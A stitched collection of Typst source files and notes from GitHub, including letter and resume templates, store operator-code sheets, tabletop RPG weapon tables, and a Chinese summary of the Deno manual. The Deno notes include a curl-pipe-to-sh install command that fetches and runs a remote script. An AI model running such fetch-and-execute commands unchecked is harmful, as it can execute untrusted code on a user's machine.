("LATIN SMALL LETTER Z WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER TURNED G", "Ll", 0),
("MODIFIER LETTER CYRILLIC EN", "Lm", 0),
("LATIN SMALL LETTER INSULAR G", "Ll", 0),
("LATIN SMALL LETTER TH WITH STRIKETHROUGH", "Ll", 0),
("LATIN SMALL CAPITAL LETTER I WITH STROKE", "Ll", 0),
("LATIN SMALL LETTER IOTA WITH STROKE", "Ll", 0),
("LATIN SMALL LETTER P WITH STROKE", "Ll", 0),
("LATIN SMALL CAPITAL LETTER U WITH STROKE", "Ll", 0),
("LATIN SMALL LETTER UPSILON WITH STROKE", "Ll", 0),
)
|
https://github.com/YunkaiZhang233/a-level-further-maths-topic-questions-david-game | https://raw.githubusercontent.com/YunkaiZhang233/a-level-further-maths-topic-questions-david-game/main/template.typ | typst | #let problem_counter = counter("problem")
#let setup_doc = {
set enum(numbering: "a)")
set heading(numbering: "1.1.")
outline()
pagebreak(weak: false)
problem_counter.update(0)
}
#let prob(source, body) = {
// let current_problem = problem_counter.step()
block(fill:rgb(250, 255, 250),
width: 100%,
inset:8pt,
radius: 4pt,
stroke:rgb(31, 199, 31),
breakable: false,
[== #source] + body)
}
#let spec = [*Examinable Contents*]
#let topic_counter = counter("topic")
#let topic(topic_name) = {
topic_counter.step()
[= #topic_name]
spec
}
// #let subtopic(subtopic_name) = {
// [== Subtopic: #subtopic_name]
// }
// Some math operators
#let prox = [#math.op("prox")]
#let proj = [#math.op("proj")]
#let argmin = [#math.arg]+[#math.min]
// Initiate the document title, author...
#let assignment_class(title, author, course_id, instructor_name, school_name, written_time, body) = {
set document(title: title, author: author)
set page(
paper:"a4",
header: locate(
loc => if (
counter(page).at(loc).first()==1) { none }
else {
align(right,
[*#course_id* | *#title*]
)
}
),
footer: locate(loc => {
let page_number = counter(page).at(loc).first()
let total_pages = counter(page).final(loc).last()
align(center)[Page #page_number of #total_pages]
}))
block(height:25%,fill:none)
align(center, text(17pt)[
*#course_id: #title*])
align(center, text(10pt)[
#written_time])
align(center, [taught by #instructor_name, #school_name])
block(height:35%,fill:none)
align(center)[*#author*]
pagebreak(weak: false)
body
// locate(loc => {
// let i = counter(page).at(loc).first()
// if i == 1 { return }
// set text(size: script-size)
// grid(
// columns: (6em, 1fr, 6em),
// if calc.even(i) [#i],
// align(center, upper(
// if calc.odd(i) { title } else { author-string }
// )),
// if calc.odd(i) { align(right)[#i] }
// )
// })
// if student_number != none {
// align(top + left)[Student number: #student_number]
// }
// align(center)[= #title]
}
|
|
https://github.com/YouXam/kobe_numbers | https://raw.githubusercontent.com/YouXam/kobe_numbers/main/main.typ | typst | MIT License | #import "./kobe_numbers.typ": kobe_numbers
#show: kobe_numbers
#let width = 15cm
#set page(height: width, width: width, margin: 0.5in)
#set par(justify: true, leading: 4em)
你的素养很差,我现在每天玩原神都能赚150原石,每个月差不多5000原石的收入, 也就是现实生活中每个月5000美元的收入水平,换算过来最少也30000人民币,虽然我只有14岁,但是已经超越了中国绝大多数人(包括你) |
https://github.com/ludwig-austermann/typst-din-5008-letter | https://raw.githubusercontent.com/ludwig-austermann/typst-din-5008-letter/main/letter.typ | typst | MIT License | #import "lib/default-blocks.typ"
#import "lib/helpers.typ"
#import "lib/envelope.typ"
/// A convinience function to provide styling options with defaults.
#let letter-styling(
theme-color: navy,
text-params: (size: 12pt, font: "Source Sans Pro"),
page-margin-right: 2cm,
folding-mark: true,
hole-mark: true,
form: "A",
handsigned: false,
attachment-right: true,
background: none,
foreground: none,
head-par-leading: 0.5em, // 0.58 -> tight, 0.65 -> typst standard
address-field-seperator-spacing: 6pt,
pagenumber-content-spacing: 6pt,
pagenumber-footer-spacing: 6pt,
footer-bottom-margin: 12pt,
date-block-style: "sender") = (
theme-color: theme-color,
text-params: text-params,
page-margin-right: page-margin-right,
folding-mark: folding-mark,
hole-mark: hole-mark,
form: form,
handsigned: handsigned,
attachment-right: attachment-right,
background: background,
foreground: foreground,
date-block-style: date-block-style,
head-par-leading: head-par-leading,
address-field-seperator-spacing: address-field-seperator-spacing,
pagenumber-content-spacing: pagenumber-content-spacing,
pagenumber-footer-spacing: pagenumber-footer-spacing,
footer-bottom-margin: footer-bottom-margin,
)
#let load-wordings(lang, wordings-file: "lib/wordings.toml") = {
let wordings-dict = toml(wordings-file)
if wordings-dict.keys().contains(lang) {
wordings-dict.at(lang)
} else {
panic("Unfortunately, `" + lang + "` does not exist in `" + wordings-file + "`.")
}
}
#let debug-options(
show-block-frames: false,
show-address-field-calculation: false
) = (
show-block-frames: show-block-frames,
show-address-field-calculation: show-address-field-calculation
)
#let block-hooks(
subject: default-blocks.betreff,
subsubject: default-blocks.teilbetreff,
reference-signs: default-blocks.bezugszeichen,
salutation: default-blocks.salutation,
closing: default-blocks.closing,
pagenumber: default-blocks.pagenumber,
letter-head: [],
attachments: default-blocks.attachments,
postscriptum: default-blocks.postscriptum,
header: default-blocks.header,
footer: [],
) = (
subject: subject,
subsubject: subsubject,
reference-signs: reference-signs,
salutation: salutation,
closing: closing,
pagenumber: pagenumber,
letter-head: letter-head,
attachments: attachments,
postscriptum: postscriptum,
header: header,
footer: footer,
)
// see https://ftp.rrze.uni-erlangen.de/ctan/macros/latex/contrib/koma-script/doc/scrguide-de.pdf
// look at: https://www.deutschepost.de/de/b/briefvorlagen/normbrief-din-5008-vorlage.html
// look at: https://de.wikipedia.org/wiki/DIN_5008
#let letter(
content,
title: none,
address-zone: [],
return-information: [],
information-field: [],
reference-signs: (),
attachments: (),
ps: none,
signature: none,
name: [You should change the `name` argument :/],
date: datetime.today().display("[year]-[month]-[day]"),
wordings: auto,
styling-options: letter-styling(),
debug-options: debug-options(),
block-hooks: block-hooks(),
labels: (:),
extra-options: (:),
) = {
/*let font-size = if styling-options.text-params.keys().contains("size") {
if styling-options.text-params.size < 10pt {
panic("The general font size should be at least 10pt!")
}
styling-options.text-params.size
} else {
styling-options.text-params.insert("size", 11pt)
11pt
}
if not styling-options.text-params.keys().contains("font") {
styling-options.text-params.insert("font", "Source Sans Pro")
}
let lang = if styling-options.text-params.keys().contains("lang") {
styling-options.text-params.lang
} else {
styling-options.text-params.insert("lang", "de")
"de"
}*/
let (font-size: font-size, lang: lang, styling: styling-options) = helpers.default-font-handler(styling-options)
set text(..styling-options.text-params)
let top-margin = if styling-options.form == "A" { 27mm } else { 45mm }
let paper-width = 595.28pt // according to din a4 paper
let info-top-margin = top-margin + 5mm
let falzmarke1 = top-margin + 60mm
let falzmarke2 = falzmarke1 + 105mm
let hole-mark = 148.5mm
// labeling system, defines variables with @date, @name
labels.insert("date", date)
labels.insert("name", name)
show ref: x => {
let lbl = str(x.target)
if labels.keys().contains(lbl) {
labels.at(lbl)
} else { x }
}
if wordings == auto {
wordings = load-wordings(lang + "-formal")
} else if type(wordings) == str {
wordings = load-wordings(wordings)
}
let footer-content = {
set text(font-size - 2pt)
set align(bottom)
let pagenumber-content = (block-hooks.pagenumber)(styling: styling-options, extras: extra-options)
if pagenumber-content != none {
pagenumber-content
v(styling-options.pagenumber-footer-spacing, weak: true)
}
block-hooks.footer
v(styling-options.footer-bottom-margin)
}
style(sty => {
let bottom-margin = measure(footer-content, sty).height + styling-options.pagenumber-content-spacing
set page(
margin: (
left: 25mm,
top: top-margin,
right: styling-options.page-margin-right,
bottom: bottom-margin,
),
header: (block-hooks.header)(title, wordings: wordings, styling: styling-options, extras: extra-options),
footer: footer-content,
background: locate(loc => {
if styling-options.folding-mark {
place(left + top, dy: falzmarke1, line(stroke: gray, length: 5mm))
place(left + top, dy: falzmarke2, line(stroke: gray, length: 5mm))
}
if styling-options.hole-mark { place(left + top, dy: hole-mark, line(stroke: gray, length: 7mm)) }
if debug-options.show-block-frames { place(left + top, dx: 25mm, dy: top-margin, rect(width: 100% - 25mm - styling-options.page-margin-right, height: 100% - top-margin - bottom-margin, stroke: red )) }
}) + styling-options.background,
foreground: styling-options.foreground
)
// Letter Head
{
set par(leading: styling-options.head-par-leading)
style(sty => move(dy: -top-margin, { // reverse margin
// Briefkopf
place(dx: -25mm, block(
width: paper-width, height: top-margin, clip: true,
stroke: if debug-options.show-block-frames { red } else { none },
block-hooks.letter-head
))
// Anschriftfeld
let anschriftfeld = helpers.address-field(address-zone, return-information: return-information, styling: styling-options, debug-options: debug-options)
place(top + left, dx: -5mm, dy: top-margin, anschriftfeld)
// Informationsblock
let informationsblock = block(
width: 75mm, clip: true,
stroke: if debug-options.show-block-frames { red } else { none },
information-field
)
place(dx: 100mm, dy: info-top-margin, informationsblock)
let infoheight = calc.max(40mm, measure(informationsblock, sty).height)
v(infoheight + 24pt)
// Bezugszeichen
if reference-signs.len() > 0 {
move(dy: info-top-margin,
grid(
columns: (50mm, 50mm, 50mm, auto),
row-gutter: 8.46mm / 2,
..reference-signs.map(k => (block-hooks.reference-signs)(k.at(0), k.at(1), styling: styling-options, extras: extra-options))
)
)
v(24pt) // 24pt ~ 8.46mm ~ one line in 10pt font size with 0.65em leading
}
}))
}
(block-hooks.subject)(title, styling: styling-options, extras: extra-options)
parbreak()
linebreak()
(block-hooks.salutation)(wordings: wordings, styling: styling-options, extras: extra-options)
parbreak()
show heading: it => (block-hooks.subsubject)(it.body, level: it.level, styling: styling-options, extras: extra-options)
content
// closing & attachments
//linebreak()
block({
let closing-content = (block-hooks.closing)(wordings: wordings, styling: styling-options, extras: extra-options, signature: signature)
let attachment-content = (block-hooks.attachments)(attachments, wordings: wordings, styling: styling-options, extras: extra-options)
if styling-options.attachment-right {
let remaining-space = calc.max(measure(attachment-content, sty).height - measure(closing-content, sty).height, 0pt)
closing-content
place(dx: 100mm, top, attachment-content)
v(remaining-space, weak: true)
} else {
closing-content
v(24pt, weak: true)
attachment-content
}
})
// ps
if ps != none {
//linebreak()
(block-hooks.postscriptum)(ps, wordings: wordings, styling: styling-options, extras: extra-options)
}
})
}
|
https://github.com/TypstApp-team/typst | https://raw.githubusercontent.com/TypstApp-team/typst/master/tests/typ/layout/pagebreak-weak.typ | typst | Apache License 2.0 | // Test page breaks on basically empty pages.
---
// After place
// Should result in three pages.
First
#pagebreak(weak: true)
#place(right)[placed A]
#pagebreak(weak: true)
Third
---
// After only ignorables & invisibles
// Should result in two pages.
First
#pagebreak(weak: true)
#counter(page).update(1)
#metadata("Some")
#pagebreak(weak: true)
Second
---
// After only ignorables, but regular break
// Should result in three pages.
First
#pagebreak()
#counter(page).update(1)
#metadata("Some")
#pagebreak()
Third
|
https://github.com/505000677/Apply4Job | https://raw.githubusercontent.com/505000677/Apply4Job/main/resumeEN.typ | typst | #import "chicv.typ": *
#show: chicv
= <NAME>
#fa[#envelope] <EMAIL> |
#fa[#github] #link("https://github.com/505000677")[github.com/505000677] |
== Education Background
#cventry(
tl: [*University of Pittsburgh*, USA],
tr: [2023/08 - 2025/05 (Expected)],
bl: [Master of Science in Computer Science],
br: [Pittsburgh, PA, USA]
)[]
#cventry(
tl: [*Pennsylvania State University*, USA],
tr: [2018/08 - 2023/05],
bl: [Bachelor of Science in Computer Science, GPA 3.55/4.00],
br: [State College, PA, USA]
)[]
== Internship Experience
#cventry(
tl: [*Shaanxi Building Material Technology Group Co., Ltd.,* Xi'an, China (Information Department)],
tr: [2021/03 - 2021/07],
)[
- Assisted the Information Department head with the development and maintenance of the company's mini-program and maintained network security.
]
#cventry(
tl: [*Huaqing College of Xi'an University of Architecture and Technology,* Xi'an, China (Teaching Assistant in Advanced Mathematics)],
tr: [2020/08 - 2021/01],
)[
- Served as a teaching assistant for Professor Di Ming in Advanced Mathematics, grading assignments, answering common calculus questions, and conducting monthly sessions in English.
]
== Project Experience
#cventry(
tl: [*Cloud Computing - Movie Recommendation System*],
tr: [2024/01 -- 2024/05]
)[
- Recommended movies to users based on input movie titles, providing information such as movie titles and release years. The project used multiple GCP services including Cloud Logging, Cloud Build, Cloud Run, and Compute Engine.
- Employed Compute Engine as the database component to store movie data and user interaction records.
- Generated movie recommendation lists based on content similarity (tag matching).
]
/*
#cventry(
tl: [Computer Architecture Course Project],
tr: [2024/01 - 2024/05]
)[
- Simulated simplified PowerPC 604 and 620 architectures to evaluate the impact of various architectural parameters on CPU design. The project assumed a 32-bit architecture executing a subset of RISC-V instructions, aiming to explore and analyze the effect of different parameters on performance.
- Supported 10 RISC-V instructions (integer and floating-point arithmetic and comparison operations). The parameterized design allowed the adjustment of various parameters such as NF (number of functional units), NI (number of instructions), NW (number of write-back registers), NR (number of rename registers), and NB (branch predictor buffer size) to assess CPU performance impact.
- Performance Analysis: Recorded execution cycles, stall counts, and CDB bus utilization for performance optimization and analysis.
]
*/
#cventry(
tl: [*Movie Genre Classification and Recommendation System Based on Movie Summaries*],
tr: [2024/01 - 2024/05]
)[
- Objective: Used data mining techniques to analyze movie summaries, extract key themes, narratives, and elements for accurate movie genre classification, and recommend movies based on user preferences.
- Searched the database for the top ten most relevant movies based on user input (especially tags). The project combined traditional machine learning and deep learning models to generate content-filtered recommendations.
- Techniques:
- Traditional Machine Learning Models: Included Naive Bayes, Word2Vec + XGBoost, and Support Vector Machine for extracting and classifying movie themes and elements.
- Deep Learning Models: Employed BERT, LSTM, etc., to further improve the recommendation system's accuracy and intelligence.
- Model Training and Evaluation: Trained and evaluated models using cross-validation and other techniques to optimize recommendation effectiveness.
- Integrated the best-performing models into the recommendation system for personalized recommendations.
]
#cventry(
tl: [*PittRCDB Database Management System*],
tr: [2024/01 - 2024/05]
)[
- Project Objective: Supported OLTP and OLAP workloads, implementing row-column storage for improved execution efficiency.
- Core Components:
- Transaction Manager: Responsible for reading and recording transaction operations, ensuring transaction order and consistency.
- Scheduler: Managed concurrent transactions to optimize system performance and response time.
- Data Manager: Handled data storage, management, and recovery, ensuring correct recovery in case of failure.
- System Functionality: Supported multiple concurrent transactions, ensuring data consistency and isolation. Provided data recovery to ensure atomicity and durability during failures.
]
#cventry(
tl: [*Memory Allocator in C Language*],
tr: [2022/05 - 2022/08]
)[
- Implemented fine-grained memory management using an implicit doubly-linked list to improve the efficiency of memory allocation and deallocation.
- Automatically merged adjacent free memory blocks to optimize continuous memory space usage, avoiding fragmentation.
- Optimized `realloc` for cases where the user requests memory reduction.
- Utilized a heuristic strategy for selecting free memory blocks based on practical usage scenarios, achieving higher efficiency than first-fit and best-fit strategies.
]
#align(right, text(fill: gray)[Last Updated on #today()])
|
|
https://github.com/Myriad-Dreamin/typst.ts | https://raw.githubusercontent.com/Myriad-Dreamin/typst.ts/main/fuzzers/corpora/math/cancel_04.typ | typst | Apache License 2.0 |
#import "/contrib/templates/std-tests/preset.typ": *
#show: test-page
// Resized and styled
#set page(width: 200pt, height: auto)
$a + cancel(x, length: #200%) - cancel(x, length: #50%, stroke: #(red + 1.1pt))$
$ b + cancel(x, length: #150%) - cancel(a + b + c, length: #50%, stroke: #(blue + 1.2pt)) $
|
https://github.com/liuzhuan/reading-list | https://raw.githubusercontent.com/liuzhuan/reading-list/master/books/deno-manual.md | markdown | # Deno Manual
## 项目状态/免责声明
Deno 目前正处于原型开发阶段,不能用于正式项目。(2020-01-28)
API 可能随时会变,发现 Bug 可以[提交 issue][2]。[v1.0][3] 正在紧锣密鼓的进行中,但尚未确定上线时间。
## 介绍
Deno 是一个 JavaScript/TypeScript 运行时,默认开启安全选项,并且有很棒的开发体验。
它基于 V8, Rust 和 [Tokio][4] 构建。
> Tokio is the asynchronous run-time for the Rust programming language.
### 亮点
- 默认开启安全选项。不可以访问文件、网络或环境变量(除非明确开启)
- 直接支持 TypeScript
- 搭载一个独立的可执行文件(deno)
- 内置实用工具。比如依赖查看(`deno info`)和代码格式化(`deno fmt`)
- 有大量经过审核的[标准模块][5](受 Golang 的影响较大)
- 脚本可以打包为一个独立 JavaScript 文件
### 哲学
Deno 致力于为现代开发者创造一个高效安全的脚本环境。
Deno 将一直是一个单独的可执行文件。给定一个 Deno 的程序 URL,就可以在这个 [10MB 左右的可执行文件][6]上运行。Deno 既是运行时,也是包管理器。它使用标准的兼容浏览器的协议加载模块:URL。
另外,Deno 还可以取代 Shell 和 Python,编写一些工具类脚本。
### 目标
- 只包含一个可执行文件(deno)
- 提供安全的默认选项。除非明确说明,脚本默认禁止访问文件、环境和网络
- 兼容浏览器:Deno 程序的子集,如果用纯 JavaScript 编写,并且没有使用全局的 Deno 命名空间,应当可以直接在浏览器中运行
- 提供内置工具,比如单元测试,代码格式化和代码检测等,提升开发体验
- 禁止向用户空间泄露 V8 概念
- 可以有效提供 HTTP 服务
### 同 Node.js 的比较
- Deno 不使用 npm。它的模块基于 URL 或文件路径
- Deno 的模块路径解析算法不依赖 package.json
- 所有的异步操作返回 Promise。因此,Deno 和 Node 的 API 接口不同
- Deno 需要明确开启文件、网络和环境的访问权限
- 当遇到未捕获的错误,Deno 会终止
- 使用 ES 模块,不支持 `require()`。第三方模块通过 URL 引入。
```typescript
import * as log from 'https://deno.land/std/log/mod.ts';
```
### 其他关键行为
- 远程代码初次执行时,会下载并缓存。直到使用 `--reload` 选项运行程序时,代码才会更新。(因此,在飞机上也是可以工作的)
- 从远程下载的模块或文件,应当是不变并且可缓存的
## 内置的实用工具
- `deno info` 依赖检查器
- `deno fmt` 代码格式化
- `deno bundle` 打包
- `deno types` 运行时类型信息
- `deno test` 测试运行器
- `--debug` 命令行调试器,[即将到来][7]
- `deno lint` 代码检测器,[即将到来][8]
## 设置
下载安装的 N 种方法:
```sh
# Using Shell
$ curl -fsSL https://deno.land/x/install/install.sh | sh
# Using Homebrew (mac)
$ brew install deno
# Using Cargo
$ cargo install deno
```
安装完成后,可以执行如下命令:
```sh
$ deno https://deno.land/std/examples/welcome.ts
```
如果想查看 `welcome.ts` 的源码,只需把 `deno` 替换为 `curl` 即可。
## 例子
模仿 unix `cat` 程序
```typescript
for (let i = 0; i < Deno.args.length; i++) {
let filename: string = Deno.args[i];
let file = await Deno.open(filename);
await Deno.copy(Deno.stdout, file);
file.close();
}
```
执行时,需要增加 `--allow-read` 标识位:
```sh
$ deno --allow-read cat.ts /etc/passwd
```
TCP 回显服务器
```typescript
const listener = Deno.listen({ port: 8080 });
console.log('listening on 0.0.0.0:8080');
for await (const conn of listener) {
Deno.copy(conn, conn);
}
```
使用 `--allow-net` 标识位运行:
```sh
$ deno --allow-net https://deno.land/std/examples/echo_server.ts
```
为了测试服务器是否正常,使用 netcat 发送数据:
```sh
$ nc localhost 8080
hello world
hello world
```
## REF
1. [Deno Manual][1]
[1]: https://deno.land/std/manual.md "Deno Manual"
[2]: https://github.com/denoland/deno/issues "Bug Reports"
[3]: https://github.com/denoland/deno/issues/2473 "Major features necessary for 1.0"
[4]: https://tokio.rs/ "Tokio"
[5]: https://github.com/denoland/deno/tree/master/std "Deno Standard Modules"
[6]: https://github.com/denoland/deno/releases "Releases of Deno"
[7]: https://github.com/denoland/deno/issues/1120 "Support Chrome Devtools"
[8]: https://github.com/denoland/deno/issues/1880 "Add deno lint subcommand" |
|
https://github.com/veilkev/jvvslead | https://raw.githubusercontent.com/veilkev/jvvslead/Typst/files/5_operators.typ | typst | #import "../sys/packages.typ": *
#import "../sys/sys.typ": *
#import "../sys/header.typ": *
#v(170pt)
#set text(12pt)
= Operators
#note[
Operators are 3-digit numbers used to uniquely identify a partner, register, or entity.
]
#v(10pt)
#subhead("Registers")
// With content.
#columns(8)[
#rect[
#align(center)[Terminal 1]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[651]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 2]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[652]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 3]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[653]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 4]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[654]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 5]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[655]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 6]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[656]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 7]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[657]
)]
]
]
#columns(8)[
#rect[
#align(center)[Terminal 8]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[658]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 9]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[659]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 10]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[660]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 11]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[661]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 12]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[662]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 13]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[663]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 14]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[664]
)]
]
]
#columns(8)[
#rect[
#align(center)[Terminal 15]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[665]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 36]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[686]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 37]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[687]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 38]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[688]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 39]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[689]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 41]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[691]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 42]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[692]
)]
]
]
#columns(8)[
#rect[
#align(center)[Terminal 67]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[000]
)]
]
#colbreak()
#rect[
#align(center)[Terminal 78]
#align(center)[#block(
fill: red.transparentize(80%),
inset: 0.2em,
[000]
)]
]
]
#move(dx: 150pt, dy: -75pt,
box(inset: 20pt, height: 100pt,
stickybox(
rotation: 0deg,
width: 3cm
)[
#show "only": text("only", style: "italic")
#text("Self-Performed Overrides are only allowed at Terminal 78", size: 8pt)
]
))
#v(-100pt)
#move(dx: 0pt, dy: 0pt,
stack(dir: ltr,
subhead("Organization")
))
#move(dx: 0pt, dy: 0pt,
stack(dir: ltr,
"The", empha("100s", 3), "are for leads/bookkeepers/managers/leadership.",
"The", empha("200-499", 3), "range are for scanners.",
))
#move(dx: 0pt, dy: 0pt,
stack(dir: ltr,
"The", empha("500s", 3), "are for ",
" SRT/IFT/Overnight/Produce/Bakery. Each store has a different organization system.","\n"
))
#move(dx: 0pt, dy: 0pt,
stack(dir: ltr,
"Terminal", empha("67", 3), "is for business center and terminal ",
empha("78", 3), " is for bookkeeping."
))
|
|
https://github.com/maxlambertini/troika-srd-typst | https://raw.githubusercontent.com/maxlambertini/troika-srd-typst/main/chap06.typ | typst | #import "@preview/tablex:0.0.6": tablex, cellx
#let chap06_title=[= Tables
<tables>
]
#let chap06=[
#columns(2, gutter: 6mm, [
=== Melee Weapons
<melee-weapons>
#align(center)[#tablex(
stroke: 0.1pt,
auto-vlines: false,
columns: 8,
header-rows: 1,
align: (col, row) => (auto,auto,auto,auto,auto,auto,auto,auto,).at(col),
inset: 6pt,
[*Type*], [~], [~], [~], [~], [~], [~], [~],
[*Damage Roll*],
[1],
[2],
[3],
[4],
[5],
[6],
[7+],
[*Sword*],
[4],
[6],
[6],
[6],
[6],
[8],
[10],
[*Axe*],
[2],
[2],
[6],
[6],
[8],
[10],
[12],
[*Knife*],
[2],
[2],
[2],
[2],
[4],
[8],
[10],
[*Staff*],
[2],
[4],
[4],
[4],
[4],
[6],
[8],
[*Hammer*\#],
[1],
[2],
[4],
[6],
[8],
[10],
[12],
[*Spear*],
[4],
[4],
[6],
[6],
[8],
[8],
[10],
[*Longsword*],
[4],
[6],
[8],
[8],
[10],
[12],
[14],
[*Mace*\#],
[2],
[4],
[4],
[6],
[6],
[8],
[10],
[*Polearm*\*\#],
[2],
[4],
[4],
[8],
[12],
[14],
[18],
[*Maul*\*\#],
[1],
[2],
[3],
[6],
[12],
[13],
[14],
[*Greatsword*\*],
[2],
[4],
[8],
[10],
[12],
[14],
[18],
[*Club*],
[1],
[1],
[2],
[3],
[6],
[8],
[10],
[*Unarmed*],
[1],
[1],
[1],
[2],
[2],
[3],
[4],
[*Shield*],
[2],
[2],
[2],
[4],
[4],
[6],
[8],
)
]
\* indicates a Weapon that requires at least two hands to use. \#
indicates a Weapon that ignores 1 point of Armour
=== Ranged Weapons
<ranged-weapons>
#align(center)[#tablex(
stroke: 0.1pt,
auto-vlines: false,
columns: 8,
align: (col, row) => (auto,auto,auto,auto,auto,auto,auto,auto,).at(col),
inset: 6pt,
[*Damage Roll*], [*1*], [*2*], [*3*], [*4*], [*5*], [*6*], [*7+*],
[*Fusil*\*\#],
[2],
[4],
[4],
[6],
[12],
[18],
[24],
[*Bow*\*],
[2],
[4],
[6],
[8],
[8],
[10],
[12],
[*Crossbow*\*],
[4],
[4],
[6],
[8],
[8],
[8],
[10],
[*Pistolet*\#],
[2],
[2],
[4],
[4],
[6],
[12],
[16],
)
]
\* indicates a Weapon that requires at least two hands to use. \#
indicates a Weapon that ignores 1 point of Armour
=== Beastly Weapons
#align(center)[#tablex(
stroke: 0.1pt,
auto-vlines: false,
columns: 8,
align: (col, row) => (auto,auto,auto,auto,auto,auto,auto,auto,).at(col),
inset: 6pt,
[*Damage Roll*], [*1*], [*2*], [*3*], [*4*], [*5*], [*6*], [*7+*],
[*Small Beast*],
[2],
[2],
[3],
[3],
[4],
[5],
[6],
[*Modest Beast*],
[4],
[6],
[6],
[8],
[8],
[10],
[12],
[*Large Beast* \#],
[4],
[6],
[8],
[10],
[12],
[14],
[16],
[*Gigantic Beast*\#],
[4],
[8],
[12],
[12],
[16],
[18],
[24],
)
]
\* indicates a Weapon that requires at least two hands to use. \#
indicates a Weapon that ignores 1 point of Armour
=== Random Spell
<random-spell>
#align(center)[#tablex(
stroke: 0.1pt,
auto-vlines: false,
columns: 4,
header-rows: 1,
align: (col, row) => (auto,auto,auto,auto,).at(col),
inset: 5pt,
[*D66*], [*Spell Name*], [*D66*], [*Spell Name*],
[11],
[Assassin’s Dagger],
[41],
[Grow],
[12],
[Animate],
[42],
[Hurricane],
[13],
[Affix],
[43],
[Helping Hands],
[14],
[Assume Shape],
[44],
[Illusion],
[15],
[Befuddle],
[45],
[Invisibility],
[16],
[Breach],
[46],
[Jolt],
[21],
[Cone of Air],
[51],
[Light],
[22],
[Banish Spirit],
[52],
[Lock],
[23],
[Ember],
[53],
[Languages],
[24],
[Cockroach],
[54],
[Levitate],
[25],
[Darksee],
[55],
[Sentry],
[26],
[Diminish],
[56],
[Shatter],
[31],
[Earthquake],
[61],
[Sleep],
[32],
[Fear],
[62],
[Thunder],
[33],
[Fire Bolt],
[63],
[Tongue Twister],
[34],
[Flash],
[64],
[Undo],
[35],
[Farseeing],
[65],
[Ward],
[36],
[Find],
[66],
[Wall of Power],
)
]
])
#pagebreak()
=== Oops!
<oops>
#text(size:7.5pt,[
#align(center)[#tablex(
stroke: 0.1pt,
auto-vlines: false,
// indicate the first two rows are the header
// (in case we need to eventually
// enable repeating the header across pages)
header-rows: 1,
columns: 4,
align: (col, row) => (auto,auto,auto,auto,).at(col),
inset: 4pt,
[*D66*], [*Ooops Type*], [*D66*], [*Ooops Type*],
[11],
[There is a flash followed by a shriek - the wizard has turned into a
pig.],
[41],
[Everyone in the vicinity turns into a pig except for one embarrassed
wizard.],
[12],
[Twenty-five years of the wizard’s life drop away in an instant,
possibly making them a very small child. If the wizard is younger than
twenty-five then they disappear into cosmic pre-birth.],
[42],
[An overflow of plasmic fluid has found its way into the wizard’s
head, which has expanded to the size of a pumpkin. If the wizard is
struck for 5+ Damage in one go they must Test their Luck or their head
explodes, killing them and dealing 2d6 Damage to anyone standing
nearby.],
[13],
[A small shoal of herring and the water they had previously swum in
appear above the wizard, soaking everyone nearby with freezing sea
water.],
[43],
[All vegetation within a mile withers and dies.],
[14],
[The wizard no longer speaks or understands any known tongue, instead
favouring a slightly unpleasant language made up of shrieks and
mumbles.],
[44],
[A pool of colour opens up under the wizard, sucking them and any
other unlucky nearby souls into it. They will be whisked off to a
random sphere of existence.],
[15],
[The most feared of adolescent academy curses: hiccups! Until
dispelled the wizard hiccups uncontrollably, suffering a -4 penalty to
further attempts at magic.],
[45],
[All exposed liquid within 12 metres turns to milk. That milk then
curdles.],
[16],
[The wizard grows an attractive tail. If removed it does not grow
back.],
[46],
[A random spectator’s bones mysteriously disappear. Even more
mysteriously they don’t seem overly put out by it. They can’t fight or
cast spells and can only very slowly shuffle about as a gelatinous
blob of flesh but they’re generally unphased. After 1d6 hours the
bones pop back into place from wherever they went.],
[21],
[All currency in the wizard’s possession turns into beautiful
butterflies that flap off into the sky.],
[51],
[An inanimate object in the wizard’s possession gains sentience and a
voice. Its attitude is up to the GM to decide.],
[22],
[A very surprised orc appears beside the wizard \(7/8/2 - Club).],
[52],
[A portal is opened to a paradigmatic battleground, allowing an
angelic or demonic figure to pop through.],
[23],
